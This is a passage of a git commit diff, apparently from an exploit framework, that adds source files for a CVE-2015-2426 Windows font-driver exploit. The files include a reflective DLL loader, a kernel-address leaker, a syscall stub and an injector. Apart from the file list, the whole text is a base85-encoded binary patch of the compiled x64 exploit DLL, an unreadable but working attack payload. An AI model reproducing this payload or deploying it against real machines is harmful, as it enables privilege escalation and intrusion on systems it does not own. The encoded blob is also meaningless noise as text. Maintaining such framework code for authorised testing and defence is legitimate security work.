.../CVE-2015-2426/inject/src/LoadLibraryR.h | 41 + .../source/exploits/CVE-2015-2426/rdi.sln | 44 + 27 files changed, 100803 insertions(+) create mode 100755 external/source/exploits/CVE-2015-2426/.gitignore create mode 100755 external/source/exploits/CVE-2015-2426/LICENSE.txt create mode 100755 external/source/exploits/CVE-2015-2426/Readme.md create mode 100755 external/source/exploits/CVE-2015-2426/common/ReflectiveDLLInjection.h create mode 100755 external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj create mode 100755 external/source/exploits/CVE-2015-2426/dll/reflective_dll.vcxproj.filters create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/Exploit.cpp create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/Exploit.h create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/Exploiter.h create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/FontData.cpp create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/FontData.h create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/MySyscalls.asm create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/ReflectiveDll.c create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.c create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp create mode 100755 external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h create mode 100755 external/source/exploits/CVE-2015-2426/inject/inject.vcxproj create mode 100755 external/source/exploits/CVE-2015-2426/inject/inject.vcxproj.filters create mode 100755 external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.c create mode 100755 external/source/exploits/CVE-2015-2426/inject/src/GetProcAddressR.h create mode 100755 external/source/exploits/CVE-2015-2426/inject/src/Inject.c create mode 100755 external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c create mode 100755 external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.h create mode 100755 external/source/exploits/CVE-2015-2426/rdi.sln diff --git a/data/exploits/CVE-2015-2426/reflective_dll.x64.dll b/data/exploits/CVE-2015-2426/reflective_dll.x64.dll index 53c53e34a1f037c50abe5c6ef7053bff8cbdaabe..bb48efe24eb481c4efdb1eeb531724ac02963ead 100755 GIT binary patch delta 19118 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 